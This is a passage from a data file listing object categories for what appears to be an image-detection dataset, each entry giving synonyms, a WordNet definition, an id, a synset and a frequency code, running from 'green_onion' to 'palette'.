'green_bean', 'frequency': 'f'}, {'synonyms': ['green_onion', 'spring_onion', 'scallion'], 'def': 'a young onion before the bulb has enlarged', 'id': 367, 'synset': 'green_onion.n.01', 'name': 'green_onion', 'frequency': 'f'}, {'synonyms': ['grill', 'grille', 'grillwork', 'radiator_grille'], 'def': 'a framework of metal bars used as a partition or a grate', 'id': 368, 'synset': 'grill.n.02', 'name': 'grill', 'frequency': 'f'}, {'synonyms': ['grizzly', 'grizzly_bear'], 'def': 'powerful brownish-yellow bear of the uplands of western North America', 'id': 369, 'synset': 'grizzly.n.01', 'name': 'grizzly', 'frequency': 'c'}, {'synonyms': ['grocery_bag'], 'def': "a sack for holding customer's groceries", 'id': 370, 'synset': 'grocery_bag.n.01', 'name': 'grocery_bag', 'frequency': 'c'}, {'synonyms': ['guitar'], 'def': 'a stringed instrument usually having six strings; played by strumming or plucking', 'id': 371, 'synset': 'guitar.n.01', 'name': 'guitar', 'frequency': 'f'}, {'synonyms': ['gull', 'seagull'], 'def': 'mostly white aquatic bird having long pointed wings and short legs', 'id': 372, 'synset': 'gull.n.02', 'name': 'gull', 'frequency': 'c'}, {'synonyms': ['gun'], 'def': 'a weapon that discharges a bullet at high velocity from a metal tube', 'id': 373, 'synset': 'gun.n.01', 'name': 'gun', 'frequency': 'c'}, {'synonyms': ['hairbrush'], 'def': "a brush used to groom a person's hair", 'id': 374, 'synset': 'hairbrush.n.01', 'name': 'hairbrush', 'frequency': 'f'}, {'synonyms': ['hairnet'], 'def': 'a small net that someone wears over their hair to keep it in place', 'id': 375, 'synset': 'hairnet.n.01', 'name': 'hairnet', 'frequency': 'c'}, {'synonyms': ['hairpin'], 'def': "a double pronged pin used to hold women's hair in place", 'id': 376, 'synset': 'hairpin.n.01', 'name': 'hairpin', 'frequency': 'c'}, {'synonyms': ['ham', 'jambon', 'gammon'], 'def': 'meat cut from the thigh of a hog (usually smoked)', 'id': 377, 'synset': 'ham.n.01', 'name': 'ham', 'frequency': 'f'}, {'synonyms': ['hamburger', 'beefburger', 'burger'], 'def': 'a sandwich consisting of a patty of minced beef served on a bun', 'id': 378, 'synset': 'hamburger.n.01', 'name': 'hamburger', 'frequency': 'c'}, {'synonyms': ['hammer'], 'def': 'a hand tool with a heavy head and a handle; used to deliver an impulsive force by striking', 'id': 379, 'synset': 'hammer.n.02', 'name': 'hammer', 'frequency': 'c'}, {'synonyms': ['hammock'], 'def': 'a hanging bed of canvas or rope netting (usually suspended between two trees)', 'id': 380, 'synset': 'hammock.n.02', 'name': 'hammock', 'frequency': 'c'}, {'synonyms': ['hamster'], 'def': 'short-tailed burrowing rodent with large cheek pouches', 'id': 381, 'synset': 'hamster.n.01', 'name': 'hamster', 'frequency': 'c'}, {'synonyms': ['hair_dryer'], 'def': 'a hand-held electric blower that can blow warm air onto the hair', 'id': 382, 'synset': 'hand_blower.n.01', 'name': 'hair_dryer', 'frequency': 'f'}, {'synonyms': ['hand_towel', 'face_towel'], 'def': 'a small towel used to dry the hands or face', 'id': 383, 'synset': 'hand_towel.n.01', 'name': 'hand_towel', 'frequency': 'f'}, {'synonyms': ['handcart', 'pushcart', 'hand_truck'], 'def': 'wheeled vehicle that can be pushed by a person', 'id': 384, 'synset': 'handcart.n.01', 'name': 'handcart', 'frequency': 'c'}, {'synonyms': ['handkerchief'], 'def': 'a square piece of cloth used for wiping the eyes or nose or as a costume accessory', 'id': 385, 'synset': 'handkerchief.n.01', 'name': 'handkerchief', 'frequency': 'c'}, {'synonyms': ['handle', 'grip', 'handgrip'], 'def': 'the appendage to an object that is designed to be held in order to use or move it', 'id': 386, 'synset': 'handle.n.01', 'name': 'handle', 'frequency': 'f'}, {'synonyms': ['hat'], 'def': 'headwear that protects the head from bad weather, sun, or worn for fashion', 'id': 387, 'synset': 'hat.n.01', 'name': 'hat', 'frequency': 'f'}, {'synonyms': ['veil'], 'def': 'a garment that covers the head OR face', 'id': 388, 'synset': 'head_covering.n.01', 'name': 'veil', 'frequency': 'c'}, {'synonyms': ['headband'], 'def': 'a band worn around or over the head', 'id': 389, 'synset': 'headband.n.01', 'name': 'headband', 'frequency': 'f'}, {'synonyms': ['headboard'], 'def': 'a vertical board or panel forming the head of a bedstead', 'id': 390, 'synset': 'headboard.n.01', 'name': 'headboard', 'frequency': 'f'}, {'synonyms': ['headlight', 'headlamp'], 'def': 'a powerful light with reflector; attached to the front of an automobile or locomotive', 'id': 391, 'synset': 'headlight.n.01', 'name': 'headlight', 'frequency': 'f'}, {'synonyms': ['headscarf'], 'def': 'a kerchief worn over the head and tied under the chin', 'id': 392, 'synset': 'headscarf.n.01', 'name': 'headscarf', 'frequency': 'c'}, {'synonyms': ['headstall_(for_horses)', 'headpiece_(for_horses)'], 'def': "the band that is the part of a bridle that fits around a horse's head", 'id': 393, 'synset': 'headstall.n.01', 'name': 'headstall_(for_horses)', 'frequency': 'c'}, {'synonyms': ['heart'], 'def': 'a muscular organ; its contractions move the blood through the body', 'id': 394, 'synset': 'heart.n.02', 'name': 'heart', 'frequency': 'c'}, {'synonyms': ['heater', 'warmer'], 'def': 'device that heats water or supplies warmth to a room', 'id': 395, 'synset': 'heater.n.01', 'name': 'heater', 'frequency': 'c'}, {'synonyms': ['helicopter'], 'def': 'an aircraft without wings that obtains its lift from the rotation of overhead blades', 'id': 396, 'synset': 'helicopter.n.01', 'name': 'helicopter', 'frequency': 'c'}, {'synonyms': ['helmet'], 'def': 'a protective headgear made of hard material to resist blows', 'id': 397, 'synset': 'helmet.n.02', 'name': 'helmet', 'frequency': 'f'}, {'synonyms': ['highchair', 'feeding_chair'], 'def': 'a chair for feeding a very young child', 'id': 398, 'synset': 'highchair.n.01', 'name': 'highchair', 'frequency': 'c'}, {'synonyms': ['hinge'], 'def': 'a joint that holds two parts together so that one can swing relative to the other', 'id': 399, 'synset': 'hinge.n.01', 'name': 'hinge', 'frequency': 'f'}, {'synonyms': ['hog', 'pig'], 'def': 'domestic swine', 'id': 400, 'synset': 'hog.n.03', 'name': 'hog', 'frequency': 'c'}, {'synonyms': ['home_plate_(baseball)', 'home_base_(baseball)'], 'def': '(baseball) a rubber slab where the batter stands; it must be touched by a base runner in order to score', 'id': 401, 'synset': 'home_plate.n.01', 'name': 'home_plate_(baseball)', 'frequency': 'f'}, {'synonyms': ['honey'], 'def': 'a sweet yellow liquid produced by bees', 'id': 402, 'synset': 'honey.n.01', 'name': 'honey', 'frequency': 'c'}, {'synonyms': ['fume_hood', 'exhaust_hood'], 'def': 'metal covering leading to a vent that exhausts smoke or fumes', 'id': 403, 'synset': 'hood.n.06', 'name': 'fume_hood', 'frequency': 'f'}, {'synonyms': ['hook'], 'def': 'a curved or bent implement for suspending or pulling something', 'id': 404, 'synset': 'hook.n.05', 'name': 'hook', 'frequency': 'f'}, {'synonyms': ['horse'], 'def': 'a common horse', 'id': 405, 'synset': 'horse.n.01', 'name': 'horse', 'frequency': 'f'}, {'synonyms': ['hose', 'hosepipe'], 'def': 'a flexible pipe for conveying a liquid or gas', 'id': 406, 'synset': 'hose.n.03', 'name': 'hose', 'frequency': 'f'}, {'synonyms': ['hot_sauce'], 'def': 'a pungent peppery sauce', 'id': 407, 'synset': 'hot_sauce.n.01', 'name': 'hot_sauce', 'frequency': 'c'}, {'synonyms': ['hummingbird'], 'def': 'tiny American bird having brilliant iridescent plumage and long slender bills', 'id': 408, 'synset': 'hummingbird.n.01', 'name': 'hummingbird', 'frequency': 'c'}, {'synonyms': ['polar_bear'], 'def': 'white bear of Arctic regions', 'id': 409, 'synset': 'ice_bear.n.01', 'name': 'polar_bear', 'frequency': 'f'}, {'synonyms': ['icecream'], 'def': 'frozen dessert containing cream and sugar and flavoring', 'id': 410, 'synset': 'ice_cream.n.01', 'name': 'icecream', 'frequency': 'c'}, {'synonyms': ['ice_maker'], 'def': 'an appliance included in some electric refrigerators for making ice cubes', 'id': 411, 'synset': 'ice_maker.n.01', 'name': 'ice_maker', 'frequency': 'c'}, {'synonyms': ['igniter', 'ignitor', 'lighter'], 'def': 'a substance or device used to start a fire', 'id': 412, 'synset': 'igniter.n.01', 'name': 'igniter', 'frequency': 'c'}, {'synonyms': ['iPod'], 'def': 'a pocket-sized device used to play music files', 'id': 413, 'synset': 'ipod.n.01', 'name': 'iPod', 'frequency': 'f'}, {'synonyms': ['iron_(for_clothing)', 'smoothing_iron_(for_clothing)'], 'def': 'home appliance consisting of a flat metal base that is heated and used to smooth cloth', 'id': 414, 'synset': 'iron.n.04', 'name': 'iron_(for_clothing)', 'frequency': 'c'}, {'synonyms': ['ironing_board'], 'def': 'narrow padded board on collapsible supports; used for ironing clothes', 'id': 415, 'synset': 'ironing_board.n.01', 'name': 'ironing_board', 'frequency': 'c'}, {'synonyms': ['jacket'], 'def': 'a waist-length coat', 'id': 416, 'synset': 'jacket.n.01', 'name': 'jacket', 'frequency': 'f'}, {'synonyms': ['jam'], 'def': 'preserve of crushed fruit', 'id': 417, 'synset': 'jam.n.01', 'name': 'jam', 'frequency': 'c'}, {'synonyms': ['jar'], 'def': 'a vessel (usually cylindrical) with a wide mouth and without handles', 'id': 418, 'synset': 'jar.n.01', 'name': 'jar', 'frequency': 'f'}, {'synonyms': ['jean', 'blue_jean', 'denim'], 'def': '(usually plural) close-fitting trousers of heavy denim for manual work or casual wear', 'id': 419, 'synset': 'jean.n.01', 'name': 'jean', 'frequency': 'f'}, {'synonyms': ['jeep', 'landrover'], 'def': 'a car suitable for traveling over rough terrain', 'id': 420, 'synset': 'jeep.n.01', 'name': 'jeep', 'frequency': 'c'}, {'synonyms': ['jersey', 'T-shirt', 'tee_shirt'], 'def': 'a close-fitting pullover shirt', 'id': 421, 'synset': 'jersey.n.03', 'name': 'jersey', 'frequency': 'f'}, {'synonyms': ['jet_plane', 'jet-propelled_plane'], 'def': 'an airplane powered by one or more jet engines', 'id': 422, 'synset': 'jet.n.01', 'name': 'jet_plane', 'frequency': 'c'}, {'synonyms': ['jewelry', 'jewellery'], 'def': 'an adornment (as a bracelet or ring or necklace) made of precious metals and set with gems (or imitation gems)', 'id': 423, 'synset': 'jewelry.n.01', 'name': 'jewelry', 'frequency': 'c'}, {'synonyms': ['jumpsuit'], 'def': "one-piece garment fashioned after a parachutist's uniform", 'id': 424, 'synset': 'jump_suit.n.01', 'name': 'jumpsuit', 'frequency': 'c'}, {'synonyms': ['kayak'], 'def': 'a small canoe consisting of a light frame made watertight with animal skins', 'id': 425, 'synset': 'kayak.n.01', 'name': 'kayak', 'frequency': 'c'}, {'synonyms': ['kettle', 'boiler'], 'def': 'a metal pot for stewing or boiling; usually has a lid', 'id': 426, 'synset': 'kettle.n.01', 'name': 'kettle', 'frequency': 'c'}, {'synonyms': ['key'], 'def': 'metal instrument used to unlock a lock', 'id': 427, 'synset': 'key.n.01', 'name': 'key', 'frequency': 'f'}, {'synonyms': ['kilt'], 'def': 'a knee-length pleated tartan skirt worn by men as part of the traditional dress in the Highlands of northern Scotland', 'id': 428, 'synset': 'kilt.n.01', 'name': 'kilt', 'frequency': 'c'}, {'synonyms': ['kimono'], 'def': 'a loose robe; imitated from robes originally worn by Japanese', 'id': 429, 'synset': 'kimono.n.01', 'name': 'kimono', 'frequency': 'c'}, {'synonyms': ['kitchen_sink'], 'def': 'a sink in a kitchen', 'id': 430, 'synset': 'kitchen_sink.n.01', 'name': 'kitchen_sink', 'frequency': 'f'}, {'synonyms': ['kite'], 'def': 'plaything consisting of a light frame covered with tissue paper; flown in wind at end of a string', 'id': 431, 'synset': 'kite.n.03', 'name': 'kite', 'frequency': 'f'}, {'synonyms': ['kitten', 'kitty'], 'def': 'young domestic cat', 'id': 432, 'synset': 'kitten.n.01', 'name': 'kitten', 'frequency': 'c'}, {'synonyms': ['kiwi_fruit'], 'def': 'fuzzy brown egg-shaped fruit with slightly tart green flesh', 'id': 433, 'synset': 'kiwi.n.03', 'name': 'kiwi_fruit', 'frequency': 'c'}, {'synonyms': ['knee_pad'], 'def': 'protective garment consisting of a pad worn by football or baseball or hockey players', 'id': 434, 'synset': 'knee_pad.n.01', 'name': 'knee_pad', 'frequency': 'f'}, {'synonyms': ['knife'], 'def': 'tool with a blade and point used as a cutting instrument', 'id': 435, 'synset': 'knife.n.01', 'name': 'knife', 'frequency': 'f'}, {'synonyms': ['knob'], 'def': 'a round handle often found on a door', 'id': 436, 'synset': 'knob.n.02', 'name': 'knob', 'frequency': 'f'}, {'synonyms': ['ladder'], 'def': 'steps consisting of two parallel members connected by rungs', 'id': 437, 'synset': 'ladder.n.01', 'name': 'ladder', 'frequency': 'f'}, {'synonyms': ['ladle'], 'def': 'a spoon-shaped vessel with a long handle frequently used to transfer liquids', 'id': 438, 'synset': 'ladle.n.01', 'name': 'ladle', 'frequency': 'c'}, {'synonyms': ['ladybug', 'ladybeetle', 'ladybird_beetle'], 'def': 'small round bright-colored and spotted beetle, typically red and black', 'id': 439, 'synset': 'ladybug.n.01', 'name': 'ladybug', 'frequency': 'c'}, {'synonyms': ['lamb_(animal)'], 'def': 'young sheep', 'id': 440, 'synset': 'lamb.n.01', 'name': 'lamb_(animal)', 'frequency': 'f'}, {'synonyms': ['lamp'], 'def': 'a piece of furniture holding one or more electric light bulbs', 'id': 441, 'synset': 'lamp.n.02', 'name': 'lamp', 'frequency': 'f'}, {'synonyms': ['lamppost'], 'def': 'a metal post supporting an outdoor lamp (such as a streetlight)', 'id': 442, 'synset': 'lamppost.n.01', 'name': 'lamppost', 'frequency': 'f'}, {'synonyms': ['lampshade'], 'def': 'a protective ornamental shade used to screen a light bulb from direct view', 'id': 443, 'synset': 'lampshade.n.01', 'name': 'lampshade', 'frequency': 'f'}, {'synonyms': ['lantern'], 'def': 'light in a transparent protective case', 'id': 444, 'synset': 'lantern.n.01', 'name': 'lantern', 'frequency': 'c'}, {'synonyms': ['lanyard', 'laniard'], 'def': 'a cord worn around the neck to hold a knife or whistle, etc.', 'id': 445, 'synset': 'lanyard.n.02', 'name': 'lanyard', 'frequency': 'f'}, {'synonyms': ['laptop_computer', 'notebook_computer'], 'def': 'a portable computer small enough to use in your lap', 'id': 446, 'synset': 'laptop.n.01', 'name': 'laptop_computer', 'frequency': 'f'}, {'synonyms': ['latch'], 'def': 'a bar that can be lowered or slid into a groove to fasten a door or gate', 'id': 447, 'synset': 'latch.n.02', 'name': 'latch', 'frequency': 'f'}, {'synonyms': ['legging_(clothing)', 'leging_(clothing)', 'leg_covering'], 'def': 'a garment covering the leg (usually extending from the knee to the ankle)', 'id': 448, 'synset': 'legging.n.01', 'name': 'legging_(clothing)', 'frequency': 'c'}, {'synonyms': ['Lego', 'Lego_set'], 'def': "a child's plastic construction set for making models from blocks", 'id': 449, 'synset': 'lego.n.01', 'name': 'Lego', 'frequency': 'c'}, {'synonyms': ['lemon'], 'def': 'yellow oval fruit with juicy acidic flesh', 'id': 450, 'synset': 'lemon.n.01', 'name': 'lemon', 'frequency': 'f'}, {'synonyms': ['lettuce'], 'def': 'leafy plant commonly eaten in salad or on sandwiches', 'id': 451, 'synset': 'lettuce.n.02', 'name': 'lettuce', 'frequency': 'f'}, {'synonyms': ['license_plate', 'numberplate'], 'def': "a plate mounted on the front and back of car and bearing the car's registration number", 'id': 452, 'synset': 'license_plate.n.01', 'name': 'license_plate', 'frequency': 'f'}, {'synonyms': ['life_buoy', 'lifesaver', 'life_belt', 'life_ring'], 'def': 'a ring-shaped life preserver used to prevent drowning (NOT a life-jacket or vest)', 'id': 453, 'synset': 'life_buoy.n.01', 'name': 'life_buoy', 'frequency': 'f'}, {'synonyms': ['life_jacket', 'life_vest'], 'def': 'life preserver consisting of a sleeveless jacket of buoyant or inflatable design', 'id': 454, 'synset': 'life_jacket.n.01', 'name': 'life_jacket', 'frequency': 'f'}, {'synonyms': ['lightbulb'], 'def': 'lightblub/source of light', 'id': 455, 'synset': 'light_bulb.n.01', 'name': 'lightbulb', 'frequency': 'f'}, {'synonyms': ['lime'], 'def': 'the green acidic fruit of any of various lime trees', 'id': 456, 'synset': 'lime.n.06', 'name': 'lime', 'frequency': 'f'}, {'synonyms': ['lion'], 'def': 'large gregarious predatory cat of Africa and India', 'id': 457, 'synset': 'lion.n.01', 'name': 'lion', 'frequency': 'c'}, {'synonyms': ['lip_balm'], 'def': 'a balm applied to the lips', 'id': 458, 'synset': 'lip_balm.n.01', 'name': 'lip_balm', 'frequency': 'c'}, {'synonyms': ['lizard'], 'def': 'a reptile with usually two pairs of legs and a tapering tail', 'id': 459, 'synset': 'lizard.n.01', 'name': 'lizard', 'frequency': 'c'}, {'synonyms': ['log'], 'def': 'a segment of the trunk of a tree when stripped of branches', 'id': 460, 'synset': 'log.n.01', 'name': 'log', 'frequency': 'f'}, {'synonyms': ['lollipop'], 'def': 'hard candy on a stick', 'id': 461, 'synset': 'lollipop.n.02', 'name': 'lollipop', 'frequency': 'c'}, {'synonyms': ['speaker_(stero_equipment)'], 'def': 'electronic device that produces sound often as part of a stereo system', 'id': 462, 'synset': 'loudspeaker.n.01', 'name': 'speaker_(stero_equipment)', 'frequency': 'f'}, {'synonyms': ['loveseat'], 'def': 'small sofa that seats two people', 'id': 463, 'synset': 'love_seat.n.01', 'name': 'loveseat', 'frequency': 'c'}, {'synonyms': ['magazine'], 'def': 'a paperback periodic publication', 'id': 464, 'synset': 'magazine.n.02', 'name': 'magazine', 'frequency': 'f'}, {'synonyms': ['magnet'], 'def': 'a device that attracts iron and produces a magnetic field', 'id': 465, 'synset': 'magnet.n.01', 'name': 'magnet', 'frequency': 'f'}, {'synonyms': ['mail_slot'], 'def': 'a slot (usually in a door) through which mail can be delivered', 'id': 466, 'synset': 'mail_slot.n.01', 'name': 'mail_slot', 'frequency': 'c'}, {'synonyms': ['mailbox_(at_home)', 'letter_box_(at_home)'], 'def': 'a private box for delivery of mail', 'id': 467, 'synset': 'mailbox.n.01', 'name': 'mailbox_(at_home)', 'frequency': 'f'}, {'synonyms': ['mandarin_orange'], 'def': 'a somewhat flat reddish-orange loose skinned citrus of China', 'id': 468, 'synset': 'mandarin.n.05', 'name': 'mandarin_orange', 'frequency': 'c'}, {'synonyms': ['manger', 'trough'], 'def': 'a container (usually in a barn or stable) from which cattle or horses feed', 'id': 469, 'synset': 'manger.n.01', 'name': 'manger', 'frequency': 'c'}, {'synonyms': ['manhole'], 'def': 'a hole (usually with a flush cover) through which a person can gain access to an underground structure', 'id': 470, 'synset': 'manhole.n.01', 'name': 'manhole', 'frequency': 'f'}, {'synonyms': ['map'], 'def': "a diagrammatic representation of the earth's surface (or part of it)", 'id': 471, 'synset': 'map.n.01', 'name': 'map', 'frequency': 'f'}, {'synonyms': ['marker'], 'def': 'a writing implement for making a mark', 'id': 472, 'synset': 'marker.n.03', 'name': 'marker', 'frequency': 'f'}, {'synonyms': ['mashed_potato'], 'def': 'potato that has been peeled and boiled and then mashed', 'id': 473, 'synset': 'mashed_potato.n.01', 'name': 'mashed_potato', 'frequency': 'c'}, {'synonyms': ['mask', 'facemask'], 'def': 'a protective covering worn over the face', 'id': 474, 'synset': 'mask.n.04', 'name': 'mask', 'frequency': 'f'}, {'synonyms': ['mast'], 'def': 'a vertical spar for supporting sails', 'id': 475, 'synset': 'mast.n.01', 'name': 'mast', 'frequency': 'f'}, {'synonyms': ['mat_(gym_equipment)', 'gym_mat'], 'def': 'sports equipment consisting of a piece of thick padding on the floor for gymnastics', 'id': 476, 'synset': 'mat.n.03', 'name': 'mat_(gym_equipment)', 'frequency': 'c'}, {'synonyms': ['mattress'], 'def': 'a thick pad filled with resilient material used as a bed or part of a bed', 'id': 477, 'synset': 'mattress.n.01', 'name': 'mattress', 'frequency': 'f'}, {'synonyms': ['measuring_cup'], 'def': 'graduated cup used to measure liquid or granular ingredients', 'id': 478, 'synset': 'measuring_cup.n.01', 'name': 'measuring_cup', 'frequency': 'c'}, {'synonyms': ['measuring_stick', 'ruler_(measuring_stick)', 'measuring_rod'], 'def': 'measuring instrument having a sequence of marks at regular intervals', 'id': 479, 'synset': 'measuring_stick.n.01', 'name': 'measuring_stick', 'frequency': 'c'}, {'synonyms': ['meatball'], 'def': 'ground meat formed into a ball and fried or simmered in broth', 'id': 480, 'synset': 'meatball.n.01', 'name': 'meatball', 'frequency': 'c'}, {'synonyms': ['medicine'], 'def': 'something that treats or prevents or alleviates the symptoms of disease', 'id': 481, 'synset': 'medicine.n.02', 'name': 'medicine', 'frequency': 'c'}, {'synonyms': ['melon'], 'def': 'fruit of the gourd family having a hard rind and sweet juicy flesh', 'id': 482, 'synset': 'melon.n.01', 'name': 'melon', 'frequency': 'c'}, {'synonyms': ['microphone'], 'def': 'device for converting sound waves into electrical energy', 'id': 483, 'synset': 'microphone.n.01', 'name': 'microphone', 'frequency': 'f'}, {'synonyms': ['microwave_oven'], 'def': 'kitchen appliance that cooks food by passing an electromagnetic wave through it', 'id': 484, 'synset': 'microwave.n.02', 'name': 'microwave_oven', 'frequency': 'f'}, {'synonyms': ['milk'], 'def': 'a white nutritious liquid secreted by mammals and used as food by human beings', 'id': 485, 'synset': 'milk.n.01', 'name': 'milk', 'frequency': 'f'}, {'synonyms': ['minivan'], 'def': 'a small box-shaped passenger van', 'id': 486, 'synset': 'minivan.n.01', 'name': 'minivan', 'frequency': 'f'}, {'synonyms': ['mirror'], 'def': 'polished surface that forms images by reflecting light', 'id': 487, 'synset': 'mirror.n.01', 'name': 'mirror', 'frequency': 'f'}, {'synonyms': ['mitten'], 'def': 'glove that encases the thumb separately and the other four fingers together', 'id': 488, 'synset': 'mitten.n.01', 'name': 'mitten', 'frequency': 'c'}, {'synonyms': ['mixer_(kitchen_tool)', 'stand_mixer'], 'def': 'a kitchen utensil that is used for mixing foods', 'id': 489, 'synset': 'mixer.n.04', 'name': 'mixer_(kitchen_tool)', 'frequency': 'c'}, {'synonyms': ['money'], 'def': 'the official currency issued by a government or national bank', 'id': 490, 'synset': 'money.n.03', 'name': 'money', 'frequency': 'c'}, {'synonyms': ['monitor_(computer_equipment) computer_monitor'], 'def': 'a computer monitor', 'id': 491, 'synset': 'monitor.n.04', 'name': 'monitor_(computer_equipment) computer_monitor', 'frequency': 'f'}, {'synonyms': ['monkey'], 'def': 'any of various long-tailed primates', 'id': 492, 'synset': 'monkey.n.01', 'name': 'monkey', 'frequency': 'c'}, {'synonyms': ['motor'], 'def': 'machine that converts other forms of energy into mechanical energy and so imparts motion', 'id': 493, 'synset': 'motor.n.01', 'name': 'motor', 'frequency': 'f'}, {'synonyms': ['motor_scooter', 'scooter'], 'def': 'a wheeled vehicle with small wheels and a low-powered engine', 'id': 494, 'synset': 'motor_scooter.n.01', 'name': 'motor_scooter', 'frequency': 'f'}, {'synonyms': ['motorcycle'], 'def': 'a motor vehicle with two wheels and a strong frame', 'id': 495, 'synset': 'motorcycle.n.01', 'name': 'motorcycle', 'frequency': 'f'}, {'synonyms': ['mound_(baseball)', "pitcher's_mound"], 'def': '(baseball) the slight elevation on which the pitcher stands', 'id': 496, 'synset': 'mound.n.01', 'name': 'mound_(baseball)', 'frequency': 'f'}, {'synonyms': ['mouse_(computer_equipment)', 'computer_mouse'], 'def': 'a computer input device that controls an on-screen pointer (does not include trackpads / touchpads)', 'id': 497, 'synset': 'mouse.n.04', 'name': 'mouse_(computer_equipment)', 'frequency': 'f'}, {'synonyms': ['mousepad'], 'def': 'a small portable pad that provides an operating surface for a computer mouse', 'id': 498, 'synset': 'mousepad.n.01', 'name': 'mousepad', 'frequency': 'f'}, {'synonyms': ['muffin'], 'def': 'a sweet quick bread baked in a cup-shaped pan', 'id': 499, 'synset': 'muffin.n.01', 'name': 'muffin', 'frequency': 'c'}, {'synonyms': ['mug'], 'def': 'with handle and usually cylindrical', 'id': 500, 'synset': 'mug.n.04', 'name': 'mug', 'frequency': 'f'}, {'synonyms': ['mushroom'], 'def': 'a common mushroom', 'id': 501, 'synset': 'mushroom.n.02', 'name': 'mushroom', 'frequency': 'f'}, {'synonyms': ['musical_instrument', 'instrument_(musical)'], 'def': 'any of various devices or contrivances that can be used to produce musical tones or sounds', 'id': 502, 'synset': 'musical_instrument.n.01', 'name': 'musical_instrument', 'frequency': 'c'}, {'synonyms': ['napkin', 'table_napkin', 'serviette'], 'def': 'a small piece of table linen or paper that is used to wipe the mouth and to cover the lap in order to protect clothing', 'id': 503, 'synset': 'napkin.n.01', 'name': 'napkin', 'frequency': 'f'}, {'synonyms': ['necklace'], 'def': 'jewelry consisting of a cord or chain (often bearing gems) worn about the neck as an ornament', 'id': 504, 'synset': 'necklace.n.01', 'name': 'necklace', 'frequency': 'f'}, {'synonyms': ['necktie', 'tie_(necktie)'], 'def': 'neckwear consisting of a long narrow piece of material worn under a collar and tied in knot at the front', 'id': 505, 'synset': 'necktie.n.01', 'name': 'necktie', 'frequency': 'f'}, {'synonyms': ['needle'], 'def': 'a sharp pointed implement (usually metal)', 'id': 506, 'synset': 'needle.n.03', 'name': 'needle', 'frequency': 'c'}, {'synonyms': ['nest'], 'def': 'a structure in which animals lay eggs or give birth to their young', 'id': 507, 'synset': 'nest.n.01', 'name': 'nest', 'frequency': 'c'}, {'synonyms': ['newspaper', 'paper_(newspaper)'], 'def': 'a daily or weekly publication on folded sheets containing news, articles, and advertisements', 'id': 508, 'synset': 'newspaper.n.01', 'name': 'newspaper', 'frequency': 'f'}, {'synonyms': ['newsstand'], 'def': 'a stall where newspapers and other periodicals are sold', 'id': 509, 'synset': 'newsstand.n.01', 'name': 'newsstand', 'frequency': 'c'}, {'synonyms': ['nightshirt', 'nightwear', 'sleepwear', 'nightclothes'], 'def': 'garments designed to be worn in bed', 'id': 510, 'synset': 'nightwear.n.01', 'name': 'nightshirt', 'frequency': 'c'}, {'synonyms': ['noseband_(for_animals)', 'nosepiece_(for_animals)'], 'def': "a strap that is the part of a bridle that goes over the animal's nose", 'id': 511, 'synset': 'noseband.n.01', 'name': 'noseband_(for_animals)', 'frequency': 'c'}, {'synonyms': ['notebook'], 'def': 'a book with blank pages for recording notes or memoranda', 'id': 512, 'synset': 'notebook.n.01', 'name': 'notebook', 'frequency': 'f'}, {'synonyms': ['notepad'], 'def': 'a pad of paper for keeping notes', 'id': 513, 'synset': 'notepad.n.01', 'name': 'notepad', 'frequency': 'c'}, {'synonyms': ['nut'], 'def': 'a small metal block (usually square or hexagonal) with internal screw thread to be fitted onto a bolt', 'id': 514, 'synset': 'nut.n.03', 'name': 'nut', 'frequency': 'f'}, {'synonyms': ['oar'], 'def': 'an implement used to propel or steer a boat', 'id': 515, 'synset': 'oar.n.01', 'name': 'oar', 'frequency': 'f'}, {'synonyms': ['oil_lamp', 'kerosene_lamp', 'kerosine_lamp'], 'def': 'a lamp that burns oil (as kerosine) for light', 'id': 516, 'synset': 'oil_lamp.n.01', 'name': 'oil_lamp', 'frequency': 'c'}, {'synonyms': ['olive_oil'], 'def': 'oil from olives', 'id': 517, 'synset': 'olive_oil.n.01', 'name': 'olive_oil', 'frequency': 'c'}, {'synonyms': ['onion'], 'def': 'the bulb of an onion plant', 'id': 518, 'synset': 'onion.n.01', 'name': 'onion', 'frequency': 'f'}, {'synonyms': ['orange_(fruit)'], 'def': 'orange (FRUIT of an orange tree)', 'id': 519, 'synset': 'orange.n.01', 'name': 'orange_(fruit)', 'frequency': 'f'}, {'synonyms': ['orange_juice'], 'def': 'bottled or freshly squeezed juice of oranges', 'id': 520, 'synset': 'orange_juice.n.01', 'name': 'orange_juice', 'frequency': 'c'}, {'synonyms': ['ostrich'], 'def': 'fast-running African flightless bird with two-toed feet; largest living bird', 'id': 521, 'synset': 'ostrich.n.02', 'name': 'ostrich', 'frequency': 'c'}, {'synonyms': ['ottoman', 'pouf', 'pouffe', 'hassock'], 'def': 'a thick standalone cushion used as a seat or footrest, often next to a chair', 'id': 522, 'synset': 'ottoman.n.03', 'name': 'ottoman', 'frequency': 'f'}, {'synonyms': ['oven'], 'def': 'kitchen appliance used for baking or roasting', 'id': 523, 'synset': 'oven.n.01', 'name': 'oven', 'frequency': 'f'}, {'synonyms': ['overalls_(clothing)'], 'def': 'work clothing consisting of denim trousers usually with a bib and shoulder straps', 'id': 524, 'synset': 'overall.n.01', 'name': 'overalls_(clothing)', 'frequency': 'c'}, {'synonyms': ['owl'], 'def': 'nocturnal bird of prey with hawk-like beak and claws and large head with front-facing eyes', 'id': 525, 'synset': 'owl.n.01', 'name': 'owl', 'frequency': 'c'}, {'synonyms': ['packet'], 'def': 'a small package or bundle', 'id': 526, 'synset': 'packet.n.03', 'name': 'packet', 'frequency': 'c'}, {'synonyms': ['pad'], 'def': 'mostly arm/knee pads labeled', 'id': 527, 'synset': 'pad.n.04', 'name': 'pad', 'frequency': 'c'}, {'synonyms': ['paddle', 'boat_paddle'], 'def': 'a short light oar used without an oarlock to propel a canoe or small boat', 'id': 528, 'synset': 'paddle.n.04', 'name': 'paddle', 'frequency': 'f'}, {'synonyms': ['padlock'], 'def': 'a detachable, portable lock', 'id': 529, 'synset': 'padlock.n.01', 'name': 'padlock', 'frequency': 'c'}, {'synonyms': ['paintbrush'], 'def': 'a brush used as an applicator to apply paint', 'id': 530, 'synset': 'paintbrush.n.01', 'name': 'paintbrush', 'frequency': 'c'}, {'synonyms': ['painting'], 'def': 'graphic art consisting of an artistic composition made by applying paints to a surface', 'id': 531, 'synset': 'painting.n.01', 'name': 'painting', 'frequency': 'f'}, {'synonyms': ['pajamas', 'pyjamas'], 'def': 'loose-fitting nightclothes worn for sleeping or lounging', 'id': 532, 'synset': 'pajama.n.02', 'name': 'pajamas', 'frequency': 'f'}, {'synonyms': ['palette', 'pallet'], 'def': 'board that provides a flat surface on which artists mix paints and the range of colors used', 'id': 533, 'synset': 'palette.n.02', 'name': 'palette', 'frequency': 'c'}, {'synonyms': ['pan_(for_cooking)', 